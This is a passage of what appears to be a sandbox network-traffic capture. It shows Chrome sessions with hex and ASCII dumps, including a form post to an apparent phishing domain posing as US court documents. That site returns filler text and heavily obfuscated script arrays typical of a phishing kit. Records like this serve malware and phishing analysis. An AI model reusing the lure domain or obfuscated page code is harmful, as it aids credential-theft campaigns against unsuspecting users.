2024-12-09 13:20:02 UTC	1369	IN	Data Raw: 6b 48 4a 53 73 34 48 43 59 6f 43 42 4d 38 54 46 45 68 57 46 56 61 4e 46 67 70 46 6c 30 72 50 56 31 42 54 6c 52 48 4f 6b 6b 36 53 56 51 39 4c 44 5a 73 62 54 46 49 4b 6b 45 7a 4b 44 5a 42 51 58 68 58 56 46 4e 65 65 6a 6c 50 56 31 31 7a 66 58 35 41 59 33 2b 43 5a 59 53 43 53 6c 6d 42 65 55 39 68 69 49 70 54 6a 35 43 50 56 35 75 50 6b 35 39 36 6e 6d 74 59 58 70 39 74 6d 56 35 38 6d 57 43 5a 6c 58 69 58 59 5a 46 36 66 47 39 30 6e 36 70 7a 6f 61 6d 76 6b 4c 4f 6e 65 4b 42 38 72 48 32 6b 6e 37 43 39 67 4d 69 6c 74 4d 4f 61 74 63 47 48 75 72 36 36 71 35 36 71 6b 4d 75 6d 78 62 69 59 72 4c 6d 36 33 72 62 57 33 74 44 56 6f 64 48 59 32 71 66 56 37 4f 66 5a 35 39 65 6d 37 4d 54 6c 78 4f 7a 6d 35 74 53 30 7a 2f 48 70 30 72 44 62 37 73 33 79 39 74 66 63 42 75 66 34 31 Data Ascii: kHJSs4HCYoCBM8TFEhWFVaNFgpFl0rPV1BTlRHOkk6SVQ9LDZsbTFIKkEzKDZBQXhXVFNeejlPV11zfX5AY3+CZYSCSlmBeU9hiIpTj5CPV5uPk596nmtYXp9tmV58mWCZlXiXYZF6fG90n6pzoamvkLOneKB8rH2kn7C9gMiltMOatcGHur66q56qkMumxbiYrLm63rbW3tDVodHY2qfV7OfZ59em7MTlxOzm5tS0z/Hp0rDb7s3y9tfcBuf41
2024-12-09 13:20:02 UTC	645	IN	Data Raw: 63 55 68 4a 51 49 45 51 53 4e 43 63 76 46 6c 41 78 58 56 30 2b 4e 56 45 69 55 6a 35 68 48 6c 68 42 4d 69 63 33 4f 6d 35 4c 55 55 5a 75 55 45 56 4b 51 43 31 6b 4e 46 5a 74 56 30 6b 31 63 58 39 61 54 56 64 77 58 49 5a 43 52 32 46 36 52 31 78 6a 57 57 64 2b 53 33 36 42 55 6d 4a 69 5a 33 4e 6f 6d 59 6d 4f 57 47 64 62 62 58 42 72 6a 4a 52 33 63 58 4f 45 65 70 75 68 6d 49 4b 73 62 5a 32 42 65 32 71 66 69 4c 57 70 6f 6f 68 36 64 71 65 52 71 6f 79 4a 6d 59 75 79 6a 4a 32 51 70 4a 61 59 78 72 79 36 70 4d 43 58 71 35 36 64 6e 34 79 53 6f 71 53 72 71 4c 44 4a 78 61 6e 4e 72 37 6d 74 7a 72 76 44 73 2b 58 59 33 72 72 44 31 63 50 48 70 64 6a 68 78 66 50 44 36 37 44 79 7a 4d 4b 30 35 73 7a 4b 7a 66 36 39 36 4e 48 4e 32 37 37 55 39 77 4c 34 31 37 7a 58 77 2b 66 6b 32 2f Data Ascii: cUhJQIEQSNCcvFlAxXV0+NVEiUj5hHlhBMic3Om5LUUZuUEVKQC1kNFZtV0k1cX9aTVdwXIZCR2F6R1xjWWd+S36BUmJiZ3NomYmOWGdbbXBrjJR3cXOEepuhmIKsbZ2Be2qfiLWpooh6dqeRqoyJmYuyjJ2QpJaYxry6pMCXq56dn4ySoqSrqLDJxanNr7mtzrvDs+XY3rrD1cPHpdjhxfPD67DyzMK05szKzf696NHN277U9wL417zXw+fk2/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49844	104.18.94.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:03 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1113747919:1733530651:eKN-Yq7VGcAhMF8fjzZfRe7bZ492d88EutnrU3a9RiA/8ef549aa0e1f4376/k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:04 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 13:20:04 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 7j0cwIlQE1OwKprsiFIdZR00kyrnXSzOj6Y=$LfbW8Iu6nJ27ee71 Server: cloudflare CF-RAY: 8ef54a594ac743ad-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:20:04 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49850	104.21.1.136	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:05 UTC	927	OUT	POST /A3RjQ/ HTTP/1.1 Host: jdjdhjh.uscourtdocuments.com Connection: keep-alive Content-Length: 880 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://jdjdhjh.uscourtdocuments.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=sl0suu9ntcc53peup2c7cdtnrn
2024-12-09 13:20:05 UTC	880	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 73 4b 35 70 66 79 5f 53 6a 76 6e 72 79 31 65 59 75 68 7a 54 63 38 6b 43 74 47 6e 38 64 67 50 4b 56 33 57 42 6c 5a 70 79 6e 32 39 68 66 33 33 79 66 53 71 6f 42 71 6b 45 59 7a 6e 57 52 70 31 36 64 46 7a 33 32 34 68 57 77 61 48 36 42 36 4d 31 51 33 58 2d 79 49 48 6e 33 6f 63 4f 41 75 6c 43 33 34 6d 58 4d 2d 46 77 47 47 56 4d 6f 50 64 51 6e 76 5f 74 51 53 45 74 78 6e 7a 58 42 49 56 65 43 45 4b 32 6a 74 47 38 31 74 4c 72 51 44 51 41 55 78 48 33 4c 75 6f 77 6f 52 46 36 46 43 4f 4f 71 35 51 42 4f 48 30 54 6f 56 51 75 76 67 45 4a 6a 4b 6d 74 46 42 44 6c 41 54 68 6c 7a 7a 45 43 61 45 5a 54 68 65 4e 38 5f 35 63 46 70 37 49 78 75 51 6f 61 39 77 38 51 73 2d 56 68 6e 47 4c 78 5f 4f 59 71 75 33 42 Data Ascii: cf-turnstile-response=0.sK5pfy_Sjvnry1eYuhzTc8kCtGn8dgPKV3WBlZpyn29hf33yfSqoBqkEYznWRp16dFz324hWwaH6B6M1Q3X-yIHn3ocOAulC34mXM-FwGGVMoPdQnv_tQSEtxnzXBIVeCEK2jtG81tLrQDQAUxH3LuowoRF6FCOOq5QBOH0ToVQuvgEJjKmtFBDlAThlzzECaEZTheN8_5cFp7IxuQoa9w8Qs-VhnGLx_OYqu3B
2024-12-09 13:20:05 UTC	938	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zTwR6uWM6ljwGj8rS5qsEsjwaLgX6JPxr5AgpqfK8tEKAe57cCvFex6OgKqamJ9ry83XfoN6NHgMLwhAkK3AzgIZ4JH97MveSM8RojBgSKNKpklPN660haKtg0m2sf%2F%2FtZw3sfUW4Bq34jHX%2Bf0z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef54a60ff014334-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2361&min_rtt=2349&rtt_var=906&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2851&recv_bytes=2407&delivery_rate=1191836&cwnd=224&unsent_bytes=0&cid=4be380b4cb9bee6a&ts=816&x=0"
2024-12-09 13:20:05 UTC	431	IN	Data Raw: 31 34 61 62 0d 0a 3c 21 2d 2d 20 3c 73 70 61 6e 3e 53 68 6f 72 74 20 72 69 62 73 20 74 65 6e 64 65 72 6c 6f 69 6e 20 63 75 6c 70 61 2c 20 70 6f 72 6b 20 70 6f 72 6b 20 62 65 6c 6c 79 20 74 65 6d 70 6f 72 20 62 72 69 73 6b 65 74 20 6b 69 65 6c 62 61 73 61 20 63 75 70 69 6d 20 63 6f 72 6e 65 64 20 62 65 65 66 2e 20 43 68 69 73 6c 69 63 20 64 72 75 6d 73 74 69 63 6b 20 69 72 75 72 65 2c 20 65 61 20 66 61 74 62 61 63 6b 20 65 6e 69 6d 20 64 65 73 65 72 75 6e 74 20 69 6e 20 70 61 72 69 61 74 75 72 20 61 6c 63 61 74 72 61 20 70 61 6e 63 65 74 74 61 20 70 6f 72 6b 20 6c 6f 69 6e 20 70 72 6f 69 64 65 6e 74 20 62 65 65 66 2e 20 42 75 72 67 64 6f 67 67 65 6e 20 69 6e 20 73 68 61 6e 6b 2c 20 73 68 61 6e 6b 6c 65 20 76 65 6c 69 74 20 61 64 69 70 69 73 69 63 69 6e 67 Data Ascii: 14ab... <span>Short ribs tenderloin culpa, pork pork belly tempor brisket kielbasa cupim corned beef. Chislic drumstick irure, ea fatback enim deserunt in pariatur alcatra pancetta pork loin proident beef. Burgdoggen in shank, shankle velit adipisicing
2024-12-09 13:20:05 UTC	1369	IN	Data Raw: 20 74 75 72 6b 65 79 2e 20 53 68 6f 72 74 20 6c 6f 69 6e 20 63 68 69 63 6b 65 6e 20 65 78 65 72 63 69 74 61 74 69 6f 6e 2c 20 62 72 69 73 6b 65 74 20 71 75 69 20 62 65 65 66 20 72 69 62 73 20 6e 6f 73 74 72 75 64 20 69 6e 20 70 72 6f 73 63 69 75 74 74 6f 20 64 72 75 6d 73 74 69 63 6b 20 65 75 20 74 75 72 64 75 63 6b 65 6e 20 73 65 64 20 68 61 6d 62 75 72 67 65 72 2e 20 55 74 20 62 61 6c 6c 20 74 69 70 20 64 6f 6c 6f 72 65 20 73 61 75 73 61 67 65 20 63 75 70 69 6d 2c 20 73 65 64 20 65 6c 69 74 20 6f 66 66 69 63 69 61 20 69 6e 63 69 64 69 64 75 6e 74 20 64 75 69 73 20 6e 69 73 69 20 65 78 2e 20 43 61 70 69 63 6f 6c 61 20 6a 6f 77 6c 20 62 75 72 67 64 6f 67 67 65 6e 20 69 6e 2c 20 69 64 20 6c 6f 72 65 6d 20 76 65 6e 69 61 6d 20 6d 69 6e 69 6d 20 69 72 75 72 Data Ascii: turkey. Short loin chicken exercitation, brisket qui beef ribs nostrud in prosciutto drumstick eu turducken sed hamburger. Ut ball tip dolore sausage cupim, sed elit officia incididunt duis nisi ex. Capicola jowl burgdoggen in, id lorem veniam minim irur
2024-12-09 13:20:05 UTC	1369	IN	Data Raw: 20 72 6f 75 6e 64 20 73 68 6f 75 6c 64 65 72 20 64 65 73 65 72 75 6e 74 20 74 61 69 6c 20 73 68 61 6e 6b 6c 65 20 63 61 70 69 63 6f 6c 61 2e 20 43 6f 77 20 70 6f 72 6b 20 63 68 6f 70 20 70 69 63 61 6e 68 61 20 73 68 61 6e 6b 6c 65 20 63 75 70 69 6d 20 6e 75 6c 6c 61 20 62 65 65 66 20 72 69 62 73 2e 20 4f 66 66 69 63 69 61 20 65 61 20 6d 65 61 74 62 61 6c 6c 20 62 65 65 66 20 65 73 74 20 61 64 69 70 69 73 69 63 69 6e 67 20 70 61 73 74 72 61 6d 69 20 76 65 6e 69 61 6d 2e 20 54 6f 6e 67 75 65 20 6b 69 65 6c 62 61 73 61 20 70 6f 72 6b 20 63 68 6f 70 2c 20 70 69 67 20 74 65 6d 70 6f 72 20 6d 69 6e 69 6d 20 65 61 20 65 6c 69 74 20 63 61 70 69 63 6f 6c 61 20 65 6e 69 6d 20 62 61 63 6f 6e 20 66 6c 61 6e 6b 20 6d 61 67 6e 61 2e 20 54 65 6e 64 65 72 6c 6f 69 6e 20 Data Ascii: round shoulder deserunt tail shankle capicola. Cow pork chop picanha shankle cupim nulla beef ribs. Officia ea meatball beef est adipisicing pastrami veniam. Tongue kielbasa pork chop, pig tempor minim ea elit capicola enim bacon flank magna. Tenderloin
2024-12-09 13:20:05 UTC	1369	IN	Data Raw: 4d 4d 5a 22 31 2f 76 27 2c 27 44 22 47 3b 66 54 21 26 27 2c 27 34 69 69 34 54 7a 26 27 2c 27 3e 69 46 39 64 7a 26 27 2c 27 35 67 3d 33 62 6d 4f 27 2c 27 4c 24 2e 34 5e 2a 74 7e 48 76 51 27 2c 27 29 42 4e 3b 25 6d 4b 6d 23 34 39 24 2f 4c 65 60 50 31 27 2c 27 56 2a 49 33 3c 3f 7a 58 58 56 2e 7a 31 27 2c 27 58 78 69 45 79 2a 50 4e 27 2c 27 25 62 5f 5d 27 2c 27 77 2b 71 5d 24 32 2f 77 4a 61 3f 3a 31 27 2c 27 4d 25 56 72 77 29 36 2b 59 22 65 60 3a 6c 75 27 2c 27 57 3a 32 34 69 4d 78 57 5f 67 68 3e 74 42 27 2c 27 33 4d 37 3b 30 6d 4d 6d 62 56 6d 7a 25 59 5d 37 27 2c 27 77 2b 69 38 47 3e 2f 77 5a 34 4b 4e 4d 6c 58 27 2c 27 57 3a 32 34 2c 3c 44 4e 27 2c 27 54 7d 3f 72 4d 5a 67 4e 27 2c 27 33 4d 37 3b 30 6d 64 32 72 61 65 67 6d 2b 75 30 5d 31 27 2c 27 4d 25 56 72 Data Ascii: MMZ"1/v','D"G;fT!&','4ii4Tz&','>iF9dz&','5g=3bmO','L$.4^t~HvQ',')BN;%mKm#49$/Le`P1','VI3<?zXXV.z1','XxiEy*PN','%b_]','w+q]$2/wJa?:1','M%Vrw)6+Y"e`:lu','W:24iMxW_gh>tB','3M7;0mMmbVmz%Y]7','w+i8G>/wZ4KNMlX','W:24,<DN','T}?rMZgN','3M7;0md2raegm+u0]1','M%Vr
2024-12-09 13:20:05 UTC	761	IN	Data Raw: 30 22 51 47 23 3d 32 56 62 2f 31 27 2c 27 49 6e 3d 74 65 34 67 48 79 34 38 27 2c 27 7d 30 3d 5d 2f 66 4f 27 2c 27 21 68 45 7d 66 44 2b 25 33 42 7c 46 78 2a 79 3c 33 42 69 39 63 27 2c 27 72 3f 57 38 31 2f 63 36 74 79 5f 49 51 21 34 65 34 34 5b 53 55 75 4f 27 2c 27 43 73 64 32 6c 46 45 45 61 5a 5a 3c 2f 7b 2a 68 60 64 54 63 23 67 77 77 22 27 2c 27 62 30 65 47 5a 33 6e 61 43 52 39 3c 67 42 24 7c 52 63 23 74 5d 37 66 52 6d 6e 6c 42 55 5e 6c 65 78 68 3f 6b 3e 6f 4d 26 27 2c 27 35 62 57 67 49 34 28 36 6d 6e 46 69 48 46 61 76 4c 49 69 39 43 34 39 31 27 2c 27 69 2f 3b 3d 4c 7b 45 45 3e 43 5e 6e 70 4c 46 37 46 68 55 43 5f 2f 55 77 74 6e 27 2c 27 2f 30 39 6f 23 41 51 48 34 2b 27 2c 27 22 7d 53 4a 41 6c 2e 25 6f 49 61 3d 4d 7c 3c 41 43 32 40 74 3e 54 7d 39 6c 42 58 Data Ascii: 0"QG#=2Vb/1','In=te4gHy48','}0=]/fO','!hE}fD+%3B\|Fxy<3Bi9c','r?W81/c6ty_IQ!4e44[SUuO','Csd2lFEEaZZ</{h`dTc#gww"','b0eGZ3naCR9<gB$\|Rc#t]7fRmnlBU^lexh?k>oM&','5bWgI4(6mnFiHFavLIi9C491','i/;=L{EE>C^npLF7FhUC_/Uwtn','/09o#AQH4+','"}SJAl.%oIa=M\|<AC2@t>T}9lBX
2024-12-09 13:20:05 UTC	1369	IN	Data Raw: 32 31 31 30 0d 0a 3d 63 47 65 74 6c 43 64 3a 65 5f 23 37 57 67 47 3e 64 4d 3e 30 38 71 2b 66 5b 37 54 51 4d 2a 73 7d 3a 5a 58 6e 7c 49 27 2c 27 43 74 44 6f 50 7b 2b 39 64 61 28 24 24 63 60 70 37 3f 22 57 34 4e 64 70 6f 61 2b 7e 31 27 2c 27 56 3b 54 24 7a 32 67 73 32 42 79 40 5d 5f 27 2c 27 4d 22 67 39 35 79 3e 6e 78 58 52 24 3b 26 27 2c 27 7d 6e 2a 38 3c 45 6d 3d 2e 48 38 2a 43 2a 27 2c 27 75 60 68 32 44 68 2b 48 4a 51 57 54 51 79 79 76 47 79 2a 46 5e 34 45 45 30 56 39 55 37 6c 77 65 2e 4f 27 2c 27 2f 30 70 57 31 60 6b 77 39 48 4b 5e 74 46 31 70 37 62 2a 27 2c 27 70 63 58 74 37 64 2f 4e 61 58 3d 79 7c 2f 73 65 22 38 4b 67 7e 7b 6d 58 7c 34 58 48 44 46 33 51 4b 2f 28 22 55 34 4f 27 2c 27 34 2f 44 32 5b 3f 7c 45 4e 73 2f 55 31 27 2c 27 7a 34 48 3b 4e 28 33 Data Ascii: 2110=cGetlCd:e_#7WgG>dM>08q+f[7TQMs}:ZXn\|I','CtDoP{+9da($$c`p7?"W4Ndpoa+~1','V;T$z2gs2By@]_','M"g95y>nxXR$;&','}n8<Em=.H8C','u`h2Dh+HJQWTQyyvGyF^4EE0V9U7lwe.O','/0pW1`kw9HK^tF1p7b','pcXt7d/NaX=y\|/se"8Kg~{mX\|4XHDF3QK/("U4O','4/D2[?\|ENs/U1','z4H;N(3
2024-12-09 13:20:05 UTC	1369	IN	Data Raw: 73 60 65 50 26 27 2c 27 21 2a 36 3f 43 35 50 39 61 7d 7a 53 50 66 3c 35 52 56 28 3a 29 3f 3d 3d 73 73 62 2a 5f 46 5d 27 2c 27 48 6b 68 3b 77 3d 7d 48 59 55 71 67 35 79 57 50 54 7d 79 43 42 21 2a 25 6e 7d 3f 41 76 48 4f 70 67 44 2b 3d 3d 46 3a 31 27 2c 27 46 49 41 38 6d 35 5d 3d 45 6e 36 5e 5a 4c 70 76 72 58 3d 5d 77 27 2c 27 4f 58 39 5d 48 35 58 52 61 2b 4f 66 57 2f 7e 7c 6e 22 50 3a 5d 5e 42 3d 47 2b 78 35 23 3f 60 37 27 2c 27 26 7d 4a 3c 4d 41 45 41 52 49 5d 64 5e 6d 6e 49 40 30 30 7d 5f 78 2c 65 26 5a 45 54 67 52 29 59 65 63 4d 38 7b 54 40 7c 69 6a 57 78 40 37 62 60 27 2c 27 7a 65 4e 3d 73 4d 32 22 21 73 71 52 31 27 2c 27 65 6e 33 63 39 33 39 74 66 58 73 73 3b 21 4b 35 39 4f 27 2c 27 4b 65 39 32 33 54 3a 6a 63 34 67 40 52 7c 7a 7c 50 49 65 22 27 2c 27 Data Ascii: s`eP&','!6?C5P9a}zSPf<5RV(:)?==ssb_F]','Hkh;w=}HYUqg5yWPT}yCB!*%n}?AvHOpgD+==F:1','FIA8m5]=En6^ZLpvrX=]w','OX9]H5XRa+OfW/~\|n"P:]^B=G+x5#?`7','&}J<MAEARI]d^mnI@00}_x,e&ZETgR)YecM8{T@\|ijWx@7b`','zeN=sM2"!sqR1','en3c939tfXss;!K59O','Ke923T:jc4g@R\|z\|PIe"','
2024-12-09 13:20:05 UTC	1369	IN	Data Raw: 37 58 63 67 4b 57 51 45 66 6a 55 41 74 46 43 37 3c 63 3e 5f 51 54 24 54 2b 71 66 38 32 5e 4c 41 2f 3f 40 5d 2b 34 25 31 34 2b 3a 7c 31 59 22 7c 51 6a 6e 74 61 4e 6d 58 71 51 36 69 69 66 22 37 60 58 65 77 66 57 28 4e 7a 52 60 2f 54 70 2c 59 44 49 39 6f 53 64 37 70 42 73 3e 73 67 66 29 4d 43 73 46 4a 60 6c 5f 73 5e 2b 21 42 36 53 73 50 4f 71 64 39 7c 3a 7d 7c 57 2b 48 6c 29 2a 46 7c 7c 32 57 67 4f 78 32 3d 73 28 42 68 35 3f 24 37 62 30 7d 77 79 7a 55 58 28 49 66 38 6b 60 25 3b 53 22 50 53 60 6c 5f 73 5e 2b 21 42 3d 4c 56 65 70 5a 29 3a 76 68 3b 51 78 39 30 6f 30 3f 2b 63 6a 7d 30 53 59 7b 53 25 65 6a 41 2f 5f 59 2c 76 6f 50 2a 74 60 73 55 58 7c 56 3e 38 3f 7a 29 4d 7d 73 55 38 58 21 41 41 6c 34 46 7c 30 4c 5f 68 6b 63 7e 43 63 3d 34 52 21 6a 31 56 62 63 3c Data Ascii: 7XcgKWQEfjUAtFC7<c>_QT$T+qf82^LA/?@]+4%14+:\|1Y"\|QjntaNmXqQ6iif"7`XewfW(NzR`/Tp,YDI9oSd7pBs>sgf)MCsFJ`l_s^+!B6SsPOqd9\|:}\|W+Hl)F\|\|2WgOx2=s(Bh5?$7b0}wyzUX(If8k`%;S"PS`l_s^+!B=LVepZ):vh;Qx90o0?+cj}0SY{S%ejA/_Y,voPt`sUX\|V>8?z)M}sU8X!AAl4F\|0L_hkc~Cc=4R!j1Vbc<
2024-12-09 13:20:05 UTC	1369	IN	Data Raw: 73 63 4d 45 42 6d 4d 7c 5a 39 3b 25 6c 2f 30 5e 2b 26 77 21 53 24 3b 29 79 76 67 6f 4e 7b 48 47 43 24 6c 69 66 64 6e 33 7c 57 67 36 47 51 48 38 6a 5f 45 35 79 3c 35 21 68 61 3a 71 54 55 58 44 39 63 4d 6a 35 7e 7c 60 67 33 3f 75 3e 60 24 34 2b 37 3a 70 4c 5f 68 21 2f 36 24 63 3d 52 77 5a 42 6a 28 43 7b 22 37 3d 58 65 77 6a 46 67 25 24 6f 24 45 3e 4c 2f 30 56 67 31 38 5a 67 74 41 4e 71 7a 6b 2b 42 5b 4d 43 73 50 57 60 6c 58 6e 69 5a 70 2a 6c 70 7d 7c 7e 50 2b 3e 43 6f 71 39 61 58 41 34 43 7b 22 37 33 7c 7c 67 31 78 53 25 2b 2b 75 58 41 42 25 60 6a 67 34 53 72 54 67 48 43 49 50 4d 29 2a 28 4d 3f 22 64 5d 7b 21 6a 31 44 34 59 2a 41 21 7d 7c 25 50 22 3b 64 4e 55 52 3e 40 48 6f 60 66 64 6e 2c 2a 73 3d 4b 47 4b 4e 59 5a 7c 67 76 7c 37 37 44 64 69 74 6d 34 34 6d Data Ascii: scMEBmM\|Z9;%l/0^+&w!S$;)yvgoN{HGC$lifdn3\|Wg6GQH8j_E5y<5!ha:qTUXD9cMj5~\|`g3?u>`$4+7:pL_h!/6$c=RwZBj(C{"7=XewjFg%$o$E>L/0Vg18ZgtANqzk+B[MCsPW`lXniZplp}\|~P+>Coq9aXA4C{"73\|\|g1xS%++uXAB%`jg4SrTgHCIPM)(M?"d]{!j1D4YA!}\|%P";dNUR>@Ho`fdn,s=KGKNYZ\|gv\|77Dditm44m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49862	151.101.194.137	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:07 UTC	682	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://jdjdhjh.uscourtdocuments.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:08 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 4078354 Date: Mon, 09 Dec 2024 13:20:07 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740020-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1733750408.975428,VS0,VE1 Vary: Accept-Encoding
2024-12-09 13:20:08 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-12-09 13:20:08 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
